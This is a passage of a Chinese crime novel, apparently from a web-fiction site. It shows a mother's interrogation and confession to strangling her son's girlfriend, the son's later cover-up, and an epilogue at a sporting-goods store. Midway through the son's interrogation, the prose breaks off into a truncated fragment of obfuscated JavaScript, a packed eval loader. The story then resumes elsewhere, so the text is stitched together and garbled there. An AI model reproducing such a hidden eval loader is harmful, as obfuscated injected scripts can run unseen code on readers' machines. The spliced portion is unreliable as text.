“没关系。他们母子不承认也无所谓,技侦的同事正在调查楚零手机的通话记录和最后的通话地点。你们在电话里说了什么,又或者是否说话了,我们都会查的一清二楚。到时再想交代恐怕就晚了。” 最后的通话地点可查,但通话记录嘛……现在的技术倒是也没这么发达。再者说,怎么好意思窃听平民老百姓的日常聊天呢?边何挑了挑眉毛。算了,谎言偶尔能揭示真相。这话他刚和顾晓兰说过,现在用他们身上也不为过。 “没错。”他认真地点点头,“技侦那边很快会有结果。届时,我的同事会控制顾锵——” 边何话没说完,面前突然响起一声歇斯底里的尖叫。顾晓兰瞪圆眼睛,抖动着身体,看上去十分愤怒。“闭嘴!闭嘴!”她失控一般地大叫。 边何倒吸一口凉气。旁边的女同事很淡定,看他一副被吓到的模样差点笑出声。他伸出双手示意顾晓兰冷静。 “闭嘴。”顾晓兰尖声叫道。她不停地用手擦拭额头,身上的碎花衬衫已被汗水浸湿。“你们给我闭嘴!” 大概是因为提到儿子吧,边何紧锁眉头。可就像他和同事说的那样,顾锵然与这起案件脱不了关系,他只是没有杀人。 “我儿子什么都不知道,都是我干的!”顾晓兰大喊道,“没错,是我杀了那女孩!是我!也是我让他不要挂电话的,是我!” “那就说说吧,从去年八月开始。” 暴怒、发狂后的沉默往往可以用“寂静”两个字形容,可能是出于疲惫,也可能是出于羞愧,顾晓兰便是如此。半晌过后,她恢复往日平静的姿态,只是那张憔悴的脸就像历经战争的城市,硝烟过后只剩满目疮痍。 顾晓兰说,她不喜欢楚零,原因很简单——对方的家境不好。如果楚零不是儿子的女朋友,她便不会对这个女孩有任何敌意。在她看来,儿子一表人才,拥有安稳的工作,理应找一个“门当户对”的女孩结婚生子。所以,无论楚零怎么表现,顾晓兰都不可能接受对方。八月底见面时,楚零诚实的将家里情况告诉顾晓兰。也是从那时起,顾晓兰就在想——该如何劝儿子分手。 “婚姻不是儿戏。我和然然聊过利弊。找一个合适的对象结婚可以省去很多辛苦,拥有一个平稳的人生。不是吗?” “是吗?”边何用眼神反问道。婚姻到底是爱情的结果,还是利益的结合?或许两者都有,但一定不是只有后者,至少他是这么认为的。 “看来你不同意我的看法。”顾晓兰无奈地摇摇头,“我在国际学校做教务工作,清楚那些富二代的家庭背景。王子与灰姑娘的爱情只存在于童话中。事实是,王子会与公主结合,灰姑娘只能找穷小子。纵观历史,多数婚姻不正是这样吗?” “……”边何没有反驳对方。不过,顺着顾晓兰的思路想,谁是王子?谁是公主?又或者说,谁是灰姑娘?谁又是穷小子?到底是谁在安排这些身份。他冷笑一声,示意顾晓兰继续。 “我给然然安排过相亲对象。然然从小到大都很听话,很少和我顶嘴。可这回不一样,他就像变了一个人,不仅对相亲敷衍了事,还会为了那女孩和我吵架。你说奇怪不奇怪?我儿子为什么会性情大变?全是那女孩的错,她控制了我儿子。” “绝了。”女同事交叉双臂,露出一副嫌弃的表情。顾晓兰似乎没有听见她说什么,只是自顾自地陈述着。 “我想,那女孩应该是察觉到我不喜欢她了,于是故意和我作对,而且拉着我儿子一起。十一月然然生日,她竟然撺掇然然去拍婚纱照。她是多想和我儿子结婚啊?而且她明明知道我不喜欢她,还送我羽绒服,简直就是在挑衅。” 十二月初,当顾晓兰无意间看见顾锵然取回家的“婚纱照”时,积怨已久的怒火被彻底点燃。她的反对不仅没能劝阻顾锵然,反而催化儿子对婚姻的渴望。她坚信不疑,造成这个结果的始作俑者就是楚零。是那女孩打乱了她为儿子安排好的人生,她儿子的人生要毁在那个从穷乡僻壤出来的女孩手中了。 绝对不能让这样的事发生!她当作没有看到那些照片,并佯装改变对楚零的态度。顾锵然本就喜欢和她聊天,见母亲的态度有所松动,便愈发的无所不说,尤其是关于楚零的。 “然然和我无话不谈。他和我说了很多那女孩的事,大概是想拉近我和那女孩之间的关系,让我多了解了解他的女朋友。他说那女孩在运动卖场工作,十分努力。那家店的店长很喜欢她,因为她总是能提出别出心裁的管理建议。” “别出心裁的管理建议?”边何打断对方。他想起什么,躬身向前问:“将店长电话设置为投诉电话?” “你们连这件事都查到了?” 他点头“嗯”了一声。“看来卖场有员工价也是顾锵然和你说的。” “是的。然然说那女孩会被上司欺负,她的领导会利用她倒卖内购产品,金额有大有小。那女孩虽不愿意,却也不敢违背领导的意思。” “果然啊……” “我不这么认为。”顾晓兰轻哼一声,“在然然口中,那女孩独立、有主见,一个独立有主见的女孩子为什么会任人欺负?她完全可以拒绝领导的安排。我在职场这么多年了,什么人没见过,还不知道她的小心思?她只是在巴结领导,又或者根本就是自己想做。我提醒过然然,别信女孩的一面之词,可他不信。” 边何与同事互相交换了一个眼神。同事也算见过不少嫌疑人,按理说心态已波澜不惊,但此时对方拧着眉毛,就像是在强迫自己听下去。 “你通过顾锵然知道楚零所属的子公司事业部要下来检查,所以专门挑那天打的投诉电话,对吗?”边何问。 “是。” “检查的事也是顾锵然告诉你的?” “是。然然说那女孩最近很忙,要应付检查。”其实就算那几天没有检查,顾晓兰也会打电话。她要让楚零远离儿子,最好是离开这座城市。 如她所愿,投诉电话起到了预期的效果。当顾锵然郁闷的向她倾诉,说楚零最近心情不好时,她知道自己的计划成功了。于是,她骗顾锵然:她打听到楚零倒卖内购产品的事被发现了。根本没有领导胁迫她,她是故意侵占公司利益。 “顾锵然信以为真了?” 顾晓兰看向边何,眨了下眼睛。 “你有什么可得意的?”女同事忍无可忍,声色俱厉地斥责道,“我也是纳闷,楚零听过录音,她就没听出那声音是——”她被自己的话噎住了,猛地别过头,似乎想从边何那里得到答案。两束同情的目光在空中相遇,最终化为一声叹息。 “她当然听出是我了。但她就是做了那些事,不然她为什么不向公司申诉?” “你竟然这么想?” “难道不是吗?” 面对顾晓兰的反问,两位警察沉默了。 “然然和那女孩大吵了一架。可笑的是,就在我以为他们要分手时,他们又和好了。我记得……那天是周六……”顾晓兰向边何投出一个询问的眼神。连杀人的日子都忘了么,边何忍着不快点点头。顾晓兰得到回应接着说,“然然一大早就起床了,将那女孩送给他的篮球鞋刷的干干净净。我问他你们不是要分手了吗?他说是自己误会对方了,他们和好了,并且约好第二天去逛公园。” 如果只是这样,顾晓兰不会贸然去找楚零。但儿子的一番话,迫使她不得不找楚零谈谈。 “妈,零零是一个好女孩。她和我说,恋人之间该坦诚相待。她说她从未倒卖过公司产品,是有人恶意投诉,导致她替领导背锅。明天她会当面将事情的全部原委告诉我。” 楚零打算向顾锵然坦白——令顾晓兰感到恐惧。也许楚零知道是她打的投诉电话。如果顾锵然也知道了,那将毁掉自己在儿子心中的形象——一位值得信任的妈妈。以后儿子还会听她的话吗?还会服从她的安排吗?大概不会了,毕竟已经出现这样的兆头了。 楚零控制了儿子的思想,现在还要毁掉她在儿子心中形象。她不能坐以待毙。 当晚,顾晓兰带着羽绒服和登山绳去了楚零家,她要和楚零谈谈,顺便归还对方送的东西。她不需要楚零送的便宜货,没当着儿子的面扔掉已算是给楚零留足面子。至于她是如何知道楚零 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“那女孩还说,她知道打投诉电话的人是我,没有向公司说明情况是觉得家丑不可外扬。‘家丑’,她以为她是谁?”顾晓兰发出一声冷笑。楚零的话令她感到刺耳,那女孩说的每个字都是在针对她。没错,一定是这样的。 “顾阿姨,我知道您为什么不喜欢我。”那晚,楚零说话的模样浮现在顾晓兰的脑海中,“我的家庭条件是不好,但那只代表过去和现在,不代表未来。人不是活在过去,而是活在未来,婚姻也一样。未来是可以改变的。” 女孩走到阳台的角落,轻抚变红的冬青果。 “阿姨,投诉电话是您打的吧?而且您还在锵然面前诋毁我。前两天锵然来公司找我了,质问我是不是真的干了违背职业道德的事。我怎么解释都没用,他不相信我,还要和我分手。这几天,我感到万念俱灰。我就想:连他都不相信我,活着还有什么意思。可是,昨天我最好的朋友来看我了,她对我说——我该为自己而活。” “朋友走后,我认真地想了想。我突然发现自己活的好累,好像一直在讨好迎合别人。我努力的目的到底是什么?让爸妈高兴?让领导满意?交房租?给锵然买礼物?还是得到您的认可?做完这些我给自己留下了什么呢?所以,一定不是这些。我想,首先我得好。我好,我和家人才会好。” “您别笑,您一定觉得我的想法很幼稚。但这就是现在的我,是我当下的想法。也许以前,我做过一些看似荒唐的决定和选择,比如:租下这套超出经济承受范围的房子。但我也不后悔,因为那就是当时的我会做出的选择。如今的我不会了。等年后回来,我会将这套房子转租出去,再找人合租。” “阿姨,您来找我一定不止是为了还礼物吧?锵然那家伙什么都和您说对吗?您知道我们明天要见面。是的,没错,我打算把一切都告诉他。周一我还会去公司,将事情原委告诉子公司的人。至于是否会走法律途径,我暂时没想过。不过,没做过的事情就是没做过,我不打算替任何人背锅了,包括我的领导和您。” 楚零面对那盆冬青,摩挲着受伤的手腕,扭头朝顾晓兰露出一个释然的笑容。万念俱灰之后的觉醒,犹如干涸的湖床如获甘霖。她自由了,是心灵上的自由。 只是这段独白在顾晓兰的耳朵里,不是倾诉,更像是威胁。眼前弱不禁风的女孩在威胁她,对方下定决心要破坏她和儿子之间的关系。她一个人含辛茹苦的将儿子养大,儿子——是她活着的信念,也是唯一的依靠。 她很愤怒。压抑许久的不满就像蠢蠢欲动的岩浆,在胸口涌动。太可恶了。“让她消失!”“让她消失!”“让她消失!”这四个字盘旋在她的脑海中,如同黑压压的火山灰铺天盖地般袭来。 她从购物袋中掏出登山绳,默默地走到楚零身后。阳台有点冷,远离植物的那扇窗户上旋打开着。“这盆冬青是我儿子送给你的?” “是的。我喜欢冬青。就算气候再恶劣,就算周围的环境再糟糕,它也没有放弃属于自己的色彩。它用火红的果实点缀着黑白色的冬季。这是它的执着,也是它的选择。我想,我也做出了自己的选择。” 说这话时,楚零没有回头,大概是在躲避她嫌弃的表情吧。 国际学校每学期都会组织学生参加求生演戏,负责这项活动的不是别人,正是顾晓兰。她会用绳子打各种绳套,也知道绳套挂在什么位置会比较结实。 她默不作声地将绳套挂在上旋的窗户把手上,渐渐靠近楚零。趁对方摆弄冬青,她猛地套住对方,同时收紧绳结,抱住对方坐向地面。 事发突然,楚零根本没机会反抗。她就像一只失去提线的木偶,身体瞬间软了下来。火红的冬青果被打落,掉在地上滚了几圈,不动了。 “我控制不住自己。当时,我只想让那女孩从眼前消失。”顾晓兰的声音越来越小。她很疲惫,回忆杀人过程并不轻松,即使她依然恨着那女孩。从始至终,她的话里都没提过那女孩的名字。 原来是这样,边何露出一个凝重的表情。楚零和顾晓兰的体型差不多,不借助外力很难做到一击致命。显然,自身的重力帮了忙。突然被套住脖子的楚零来不及反应,很快失去意识。 但是……边何深吸一口气,朝同事眨了下眼睛。同事会意地瞥了他一眼,转而看向顾晓兰。“作案时间大概是几点?” “快九点了。” “确认吗?” “嗯。见那女孩不动了,我也慌了……”当时的顾晓兰就好像大梦方醒,忽然意识到自己杀人了。她无措地坐在地上,就是这时,床上的手机响了。 “也就是说,零失去意识后,你很快接到了顾锵然的电话。” 顾晓兰点头。“我杀人了,我把那女孩杀了!”“然然,我该怎么办?”“别报警,帮帮妈妈。”“妈妈求你了!”她依稀记得顾锵然在电话另一头震惊和暴怒的声音,但当对方听到她求他时,态度很快就软了下来。“我求然然不要报警,他很听话,同意了。” “咣当”,椅子被踹翻了。边何突然起身,吓了同事一跳。整整一晚,他保持着冷静。只是现在,他做不到了。他眼底通红,布满血丝。 “混蛋!”他大骂道,“那会儿楚零可能还没死!”他用力揉了下自己的脑袋,无力地看向同事,目光中满是悲怆。 同事垂下视线,摇摇头。 缢死或勒死常常是呼吸道、颈部血管和神经,或颈动脉窦同时受到压迫,人会迅速丧失意识。但是,一般不会立即死亡。死亡通常发生在失去意识后的5-20分钟。也就是说,顾晓兰接到顾锵然电话时,楚零可能还活着。如果及时施救,或可挽回一条生命。 可惜的是,没有如果。 边何不知道自己是怎么冷静下来的,又是怎么耐心地听完顾晓兰的供述。由于顾晓兰不知道楚零是否和别人说过羽绒服的事,怕贸然留下羽绒服会引起警察的怀疑。她便将羽绒服原封不动的带回了家。至于为什么不扔,她说只有放在身边才踏实。 回到家后,她故意在四合院内大声说话,埋怨儿子不会刷鞋,制造不在场证明。那晚,顾晓兰将案发经过告诉了顾锵然,也向对方坦白了投诉的事。为什么选择坦白?她想,大概是因为能毁掉儿子幸福生活的人已经不在了。而且,不会再有人从她身边抢走儿子。 据顾晓兰交待,她向儿子陈述作案经过时,对方不发一语。顾锵然呆坐在家中,这样的状态持续整夜。“我要去看看零零。”黎明到来前,他说。 次日清晨,二人回到案发小区。顾晓兰站在单元外,听到了儿子撕心裂肺的喊叫声,绝望而悲恸。那痛苦的叫声就像一把钝了的刀,反复摩擦冰封的空气,一刀刀的划破小区安宁祥和的氛围。 没过多久,房内没动静了,房外却十分嘈杂。不明真相的人们三五成群围在单元门口,交头接耳,议论纷纷。在这之前,刺耳的警笛声划破天际,就像喇叭一样提醒附近的人——有事发生了。 29. 冬青3 时钟上的秒针依然在“嘀嗒嘀嗒”的走,没有一刻停歇。接待室没有窗户,灯光明亮,不过叶微瑄知道外面天黑了,夜幕已降临。 “谢谢你的配合。”边何微微向前倾身,代表警方向她表达感谢。她已将下午与顾锵然的对话转述给边何,并将案发前一晚与楚零喝酒的事实也告知了对方。出于报答,边何也有的放矢的透露了一些案情细节。 “你一会儿要去审锵然吗?”叶微瑄问。 边何“嗯”了一声。“关于案子,有几个不明白的地方想问问他。” 叶微瑄没听出边何的语气,但从对方严肃的表情上看,案件远不到结束的时候。其实她心中也有疑团尚未解开,比如:顾晓兰为什么会穿楚零送的羽绒服出现在案发现场。她问过边何,边何没能给她答案。 “明天楚零的父母到燕京。”边何收起平板电脑,拍了拍腿,“也是难为他们了。”他低头苦笑。 如何面对和安抚受害者家属,是边何最不擅长的工作。人明明都没了,感觉说什么都是多余的。而且作为警察,他们似乎总是往受害者家属的心脏上捅刀子,逼迫他们回忆痛苦不堪的过往。 “他们的生活可能刚恢复平静,就被我打破了。”边何低声说出自己的困扰,表情就像做了什么亏心事一样。 “怎么可能恢复平静。”叶微瑄不假思索地反驳他。 “为什么这么说?” “我知道楚零的父母有多爱她,他们只是不善言谈。或许他们也质疑过真相,可现实条件令他们感到无能为力。大概就是人们常说的,心有余而力不足吧。” “你是这么想的?” “是。所以我们才需要警察呀,你们不就是为了真相而存在的吗?” 边何怔住了。他忽然有些惭愧。他曾认为楚零的父母太过老实,顺从的接受女儿自杀的结果,不吭一声的带女儿的骨灰回老家。 “干嘛这么看我?”叶微瑄眨了眨那双好看的杏仁眼,露出一副迷惘的表情。 “没什么,你可以走了。”他起身,敲了敲一旁的小刘。小刘连轴转了一周,总共没睡过几个小时。边何和叶微瑄讲述案情时,他早早的打起呼噜。 “醒醒。” “啊?谁?”小刘一个鲤鱼打挺跳了起来。 “咯咯咯”,边何与叶微瑄相视一笑。他打开招待室的门,让出身前的位置。 终于可以走了。叶微瑄长舒一口气,放松地沉下肩膀。就在她走出门口时,耳边出现一个真诚的声音。 “谢谢你。”边何说。与刚刚的感谢不同,这一次他代表的是他自己。 …… 叶微瑄的背影消失在灯火通明的走廊尽头。边何与小刘马不停蹄地的前往审讯室。“交给我吧。”他在审讯室门口,接过同事手中的笔录。与叶微瑄交谈期间,对方已对顾锵然进行过一轮审讯。 基本和顾晓兰、叶微瑄提供的口供和证言差不多。他仔细翻看笔录,眉毛拧得越来越紧,内心萌生出一丝莫名的失落。 “这小子挺老实的,很配合。”同事捧着保温杯,往墙上一靠。比起出外勤,审讯嫌疑人的工作要轻松许多。前两天配合队里进行节前安全工作,腿都要跑断了。“他挺后悔的。说实话,搁我我也为难。女友被母亲杀害,如果再不帮母亲一把,就会同时失去两个挚爱的人。”同事伸出手指比了一个“2”,无奈地耸耸肩。 “你还同情起嫌疑人来了。” “嗨,人各有难处。” “是,可忙来忙去结果不一样吗?”边何扬起眉毛,视线仍落在笔录上,“有什么不同?” “他想不同来着呀。” “好吧,我认可。”他淡淡地回应,握住审讯室的门把手,“但我只认可你的最后一句话。” “咔嚓”,门开了。在同事不解的目光中,他朝小刘歪了歪脑袋,两人走了进去。 审讯室灯光明亮,甚至有些刺眼。顾锵然双手抱头,坐在金属制的椅子上。听见有人进来了,他放下手,缓缓地抬起头。见来者是边何,那双红肿的眼睛稍稍睁大了一些。 边何搬了把椅子,坐到离顾锵然很近的对面。“没事。”他伸出右手掌,打断小刘即将脱口而出的劝阻。“我就坐这里。他是我朋友的朋友,我想和他聊聊。” “朋友的朋友?”顾锵然没吭声,但表情出卖了心中的想法。 边何没有理会对方疑问的眼神。“顾晓兰已经交代的差不多了,与你和叶微瑄说的差不多。” 看来他们已对妈妈和小瑄做过问询。顾锵然点头,表示知道了。 “关于楚零被恶意投诉的事你知道多少?”边何盯着顾锵然的眼睛问。顾锵然没有躲避,而是直直地回视他。 “零零……”顾锵然清了清嗓子,声音有些沙哑,“她说有人故意举报。我一开始不信,我们因此大吵一架。直到我妈对她做了那样的事,我才知道真相。” “楚零手机留有与你在案发那周的通话记录。你之前说因为工作忙,没空发微信,所以会在晚上打电话。是在说谎吧?” “是。我们打电话也是在吵架,那周周四的晚上,我和她提了分手。” “就因为投诉的事,你要和她分手?” “嗯,我当时很生气。”顾锵然流露出懊恼的神色,“我以为她骗我,她之前跟我说是受上司胁迫才那么做的。而且我妈问我,楚零哪来的钱付房租?我想也是,她不仅一个人付房租,还给我买了篮球鞋。我不认为她的工资可以负担这些开销。” 收礼物的时候心安理得,出事了开始质疑了?边何在心里发着牢骚。“你觉得她负担不起,相信她真的做了倒卖内购产品的事。好吧……她是怎么和你解释的?” “她说她有绩效奖金。算了……”顾锵然再度抱住自己的脑袋,不停地摇头,“是我不对,我该相信她的。我们后来和好了,是她主动给我打的电话。你知道的,我们约好周日去逛公园。我愿意相信她。” 后悔有什么用?顾锵然似乎总给边何这样的感受。“先不说楚零没做违背职业道德的事。就算她做了,倒卖内购产品在你看来是很过分的事吗?” 难道不是吗?顾锵然停下动作,睁大眼睛,难以置信地看向边何。他的目光就好像在说:“这是警察该说的话吗?”更何况,若触犯法律,便会影响个人档案,不仅影响楚零的前途,还会影响他的。虽不想承认,但他确实有过这样的顾虑。 边何无声地笑了笑。“那我问你,帮母亲伪造不在场证明呢?过不过分?”他忽然转移了话题。 顾锵然身体一僵,喉结在缓慢的蠕动。 “受人指使或胁迫倒也情有可原。若是主动的呢?算不算帮凶?” “啊?” 边何扭头看了一眼发出动静的小刘。对方坐在电子笔录设备前,握着电子笔的手停在空中。“不用这么惊讶。”他将视线转回到顾锵然的脸上,“我就是问问。” 顾锵然张着嘴,做了一次吞咽动作。“我不懂你在说什么。”他嗫嚅着,声音越来越小。 “与顾阿姨聊过后,我有几件事想不明白。”边何在“顾阿姨”三个字上加了重音,“顾阿姨说她杀害楚零后很慌张。一个很慌张的人是怎么想出用手机通话伪造不在场证明的。另外,你和顾阿姨为什么要回到案发现场。你可以不做那个报警人的,为什么要回来?真的就是为了见见已经死去的女朋友?这可是一个很危险的举动。既然配合母亲作了伪证,干嘛又要将自己和母亲至于危险之中呢?” 审讯室没有暖气,温度很低,但边何很快在顾锵然的脸上看见了豆大的汗珠。 “楚零是我的女朋友,我不能……我不能……” “不能什么?是不是觉得说出来自己都不信?”边何露出一个同情的眼神,“我来告诉你为什么。你回案发现场的主要目的是为了伪造自杀现场并销毁证据。楚零是被勒死的,但顾晓兰的作案方式让对方看上去像是缢死。另外,楚零试图割腕也帮了你们,成功误导了警方的判断。” “我没有伪造自杀现场。”顾锵然努力地挤出几个字。 “你不是没有伪造,只是到现场后发现不需要伪造。但是,你还是做了不利于警方调查的事,比如:擦掉指纹。案发前,楚零做过卫生。可即使做过卫生,客厅也干净的让人感到奇怪。除了上旋把手,窗户附近没有采集到其他指纹,连茶几等家具的表面也没有。叶微瑄周五晚上去看过楚零,客厅却找不到对方的一点生物痕迹。别告诉我是顾晓兰杀害楚零时顺带做的,她没这个时间,也没这个能力。” 顾锵然紧闭嘴巴,恢复以往沉默寡言的状态。看样子,他是不打算说任何了。豆大的汗珠无助的落在地上,狼狈又慌张。 “我接着说。”面对顾锵然不配合的姿态,边何并不恼怒。他的语气很平静。“你知道楚零手机的密码。报警前,你删掉与楚零近期的聊天记录,因为与‘员工价’‘分手’有关的聊天记录会引导警察的调查方向。一旦警方介入调查投诉事件,顾晓兰恶意投诉的录音就会被发现。如此一来,案件是否还会以自杀定性就很难说了。” 聊天记录可以被恢复,只是需要时间,技侦的同事正在做这件事。至于是否真的有那些聊天记录,边何也不清楚。不过他相信,相较于中年夫妻,年轻恋人吵架一定会在社交平台上留下痕迹。 “我说对了吗?所以你必须回到案发现场。只有你能删掉聊天记录,顾晓兰帮不了你。她作为外人,不了解你们的聊天习惯和内容,根本删不干净。你做的很好,留下相约逛公园的聊天内容和通话记录,证明你和楚零的感情很稳定。别说,我一开始真的信了。” 边何泄气般地趴在自己的腿上,探出脑袋直视顾锵然的眼睛。顾锵然的嘴唇蠕动了几下,齿缝间蹦出几个字,好像在说:“我没删。” “你说什么?” “聊天记录不是我删的。” “那我能不能理解是有那些聊天记录的,是吧?” “嗯。” “很好,你没删,那是谁删的?” “可能是零零。” 房间安静了,画面静止。顾锵然低头,边何仰头,两人始终保持着这个姿势。 “死人是无法解释的。”——这句话在边何的大脑中疯狂旋转。只是他也没想到,利用死人的不止是陌生人。一口闷气堵在胸口,如果不是警察的身份,他很想暴揍眼前的男人。是为了楚零吗?好像不是,只是他也说不上是为谁。 “咳、咳。”做作的咳嗽声打破房间静谧的氛围。 “没关系。”边何没有回头。小刘又咳嗽了一声,意思是“知道了”。“顾锵然。”他坐直身体,抬起下巴,摆出一副正式且严肃的姿态,“你的意思是聊天记录不是你删的,是楚零删的,对吗?” “是,我没删。” “那你的呢?” “什……”顾锵然猛地抖了一下身体。 “聊天要两个人才可以。你手机中的聊天记录呢?” “我手机……”他扶住审讯椅的金属桌板,试图控制发抖的身体。效果似乎不怎么好,椅子腿摩擦地面,发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“别报警,帮帮妈妈。”他始终记得母亲央求他的声音。这声音就像魔咒一样,让他在瞬息间做出选择。不管发生什么,要先救妈妈才行。那一刻,他似乎忘记房间里昏迷的女孩,也忘了那是他的女朋友。他要求顾晓兰立刻离开楚零家,并且不要挂断电话。 顾晓兰离开后,听筒的另一端安静了。直到这时,他才有了意识。零零好像死了。 “零零。”他颤抖着叫了一声。 没有回应。 “零零。”他又叫了一声,“你能不能理我一下。”他恍惚地问道,“别吓我。”好冷啊,他一边隔着电话喊对方,一边看向紧闭的窗户。他就像魔怔了似的,不断叫着楚零的名字。他不想挂电话,因为他知道,电话一旦挂断就再也无法接通了。 “你们可以认为我是故意的。”顾锵然目光呆滞,讲述着事情发生的经过,“可我真的好想再听听她的声音啊。” 边何和小刘沉默对视。于公,他不相信;于私,他愿意相信。想必小刘也是这么认为的,边何心想。 “我总梦见零零。”说这话时,顾锵然的表情就像一副没有五官的肖像。自案发后,他经常做噩梦,梦到楚零的死状。梦中,那张暗的发灰的脸会亲切的叫他“宝贝”,会亲密的挽住他的胳膊。他时常在半夜惊醒,恐惧会在睁眼的瞬间消失,取而代之的是彷徨和失落,以及无尽的悔恨。 边何不想听顾锵然倾诉。这和考试没考好,后悔不好好复习没有太大区别。与自己作对永远是一件很难的事。女朋友都没了,还在聊自己的感受,何必呢?接电话的第一时间为什么不报警、不叫救护车?他打断顾锵然:“第二天你几点到的案发现场?” “六点多出的门,到零零家不到七点。” 接警中心是早上8:55接到的报警电话,也就是说,顾锵然在楚零家待了将近两个小时。期间,他将客厅、门厅可能出现母亲指纹的地方全部擦了一遍,然后比对两人的手机,删掉因“内购”吵架的聊天记录。 他犹记得当时的感觉,麻木、不受控,机械般的按照计划销毁证据,就像一个毫无情感的机器人。楚零的尸体就挂在阳台,他假装没看见。“不能看。”他在心里告诫自己。 临近上午九点,他完成计划内的清理工作。也就是这时,他才鼓起勇气正视死去多时的女朋友。那是什么感觉呢?不避讳的说,他想吐。这是零零么?僵硬的张着嘴巴,脸色灰暗。眼前的画面令他作呕,他的胃就像被人踹了两脚,又疼又恶心。 太难受了,简直令人窒息。心脏的位置传来异样感,他小声呜咽,用力捶自己的胸口。似乎有股力量在拉扯他的神经,他哭得越来越大声,身体难以抑制地颤抖。好疼啊,胸口撕裂般的疼痛。他大吼一声,不大的老房子传出痛彻心扉的悲鸣。 “事情经过就是这样。”顾锵然耷拉着脑袋,后背不停地起伏。 “我还有一个问题。” “你说。” “顾晓兰陪你回案发现场时,为什么会穿楚零送的羽绒服?” 就这个问题,边何问过顾晓兰。顾晓兰说,她是怕小区大爷认出她,随手换了一件。显然,这个答案并不能令边何感到满意。刚刚,当叶微瑄带着同样的疑问问他时,他也没能告诉她答案。 “人活着的时候都不穿,死了为什么穿?顾晓兰明明那么讨厌楚零。”边何直言不讳地表明心中的观点。 “是我让她穿的。” “哦?” “嗯,她欠零零一声道歉。” 一声道歉……边何不知说什么好了。他握紧拳头,无力地晃了晃脑袋,起身走向门外。 30. 尾声1 燕京有多久没下过雪了,叶微瑄也记不清,至少在这个冬日还没有下过。 “人们都说雪后的燕京叫北平。冰河映残阳,白雪覆红墙。不瞒你说,我长这么大没见过几次雪。快点下雪吧,雪天一定很快乐。” “我劝你不要太期待。就算下,多半也是一脚的泥汤子。” “又瞎说。你之前说长城就是一堵墙,没意思,去了还不是玩的很开心。” “确实。可仔细想想……” “怎么?” “它就是一堵墙——一堵伟大的墙。” “哈哈哈。” 楚零生前的笑声适时的出现在叶微瑄的耳边,即使购物中心的背景音乐很是吵闹。今天是大年二十九,明天是大年三十。本就不热闹的购物中心空荡荡的,儿童区有孩子在淘气堡中玩耍,除此之外几乎见不到逛街的人。咖啡店的窗户被擦的锃亮,上面贴着雪花,两侧挂着中国结。店员靠着吧台打了一个又一个哈欠,店内的位子都空着,不见抱着电脑冥思苦想的客人。 春节在即,那些装作上班、实则来购物中心打发时间的客人也能松一口气了吧,叶微瑄心想。 她沿着扶梯下到地下一层。运动卖场也比往日冷清,入口处的留守员工搓着手原地踏步。显然,巨大的红色广告墙没能起到暖场的作用。 叶微瑄是来辞职的。今天之后,哦不,从今天开始,她就要告别这份兼职工作了。其实她有点过意不去,从入职到现在才两周的时间。她是本地人,卖场本打算安排她在春节期间值班,并许诺三倍工资。不过即使是这样,也没能打动她。 “实在抱歉,给你们添麻烦了。”她在言语中表达了歉意。由于她只是一个兼职,离职手续并不复杂。为她办理手续的是临时店长,也是老熟人——原来跑步区的部门经理。 “你们找好兼职了吗?”问完她就后悔了。明明都要离职了,还假惺惺的关心,对方一定会这么想的。 “不劳您操心啦。”店长用调侃的语气回应道,“工资会在节后打到你的银行账户。上边说了,以后无论是报销还是工资,一律不许用现金发放。” “是因为……” “没错。郭宇和杨浩鑫肯定会被裁掉,目前没有办手续是因为牵扯楚零的案子。我打听过了,上层很生气,准备起诉他们。哦,还有帮他们的财务。严重的话,他们可能真的会进去。” “这样最好。” 她的声音有点小,对方没听清。“你刚说什么?” “没什么。” 她笑着向店长告别,转身离开办公室。门口有人等她,看清对方的脸后,她有些惊讶。“你是在等我?”她用试探的语气问道,同时瞥了一眼对方崭新的工作牌,职务一栏写着“部门经理”。 “就是等你。”常颖眯起那双细长的眼睛,看起来就像一条破折号,“有样东西我觉得还是交给你比较好。”她的语气一如既往的生硬,就好像叶微瑄欠她几百万似的。 虽是不乐意,但叶微瑄还是跟常颖来到徒步区。常颖取代郭宇后,喜欢吃章鱼小丸子的女同事被调到徒步区,此时正哭丧着脸整理徒步鞋。她们路过对方时,女同事朝叶微瑄挤了挤眉毛,“常颖真不是人。”——对方似乎这么说。叶微瑄偷偷笑了笑,耸着肩,朝同事释放出一个同情的眼神。 常颖没有察觉到二人的小动作。她走到柜台前,打开柜门,里面放着各种杯子,全部都是员工的。“应该是这个。”她拨开前排的杯子,从后面掏出一个保温杯,转身面对叶微瑄。 保温杯是浅绿色的,一看就使用过很多年,都掉漆了。不过只要仔细看,还是能看到杯面上简易的图案——一根残缺的柳枝。 “这不是……”叶微瑄睁大眼睛。 “你果然认识她。” “啊?” “别装了。”常颖从鼻根发出一个不屑的哼声,上下打量叶微瑄,“你认识楚零。这是她落在这里的,你拿走吧,不然也是被扔掉。” 叶微瑄眼眶温热,接过保温杯,放进包里。她没有问常颖是怎么知道的。可能是从第一天到卖场打听楚零,结合一连串发生的事,常颖猜到了;也可能是常颖和几位老员工当着她的面调侃楚零,她忽然发脾气引起对方的怀疑。总之,对方知道了,但是不重要。案子结束了,她得到了想要的结果。常颖没有拆穿她,大概也是得到了想要的结果,叶微瑄心想。至少从现场看,卖场运营规矩了很多。 “谢——” 感谢的话还没说出口,常颖就甩下她走了。“我说几遍了!鞋子要按大小号挂才整齐。你们这帮闲散惯了的,连这点规矩都不懂吗?”常颖大声地训斥同事,像是在彰显权威。被训斥的同事咬着嘴唇,看上去快哭了。 好惨啊。叶微瑄悄悄离开徒步区,或许留在那里会让挨说的同事感到难堪。不过她没有立刻离开卖场,而是前往卖场的休闲服饰区为父母挑了两件春秋穿的运动夹克,白色防晒的送给丘静,黑色防水的送给叶建文。长这么大好像没送过父母什么礼物,她抱着两件衣服,在心中唏嘘。 趁过年送给他们好了,虽然可能会被说“乱花钱”,叶微瑄简直能想到父母抱怨的模样,当初买孔雀鱼时就是这般情形。买衣服也是一样的,免不了又是一番唇枪舌战。真是没办法啊,她在自助收银机前结了账。 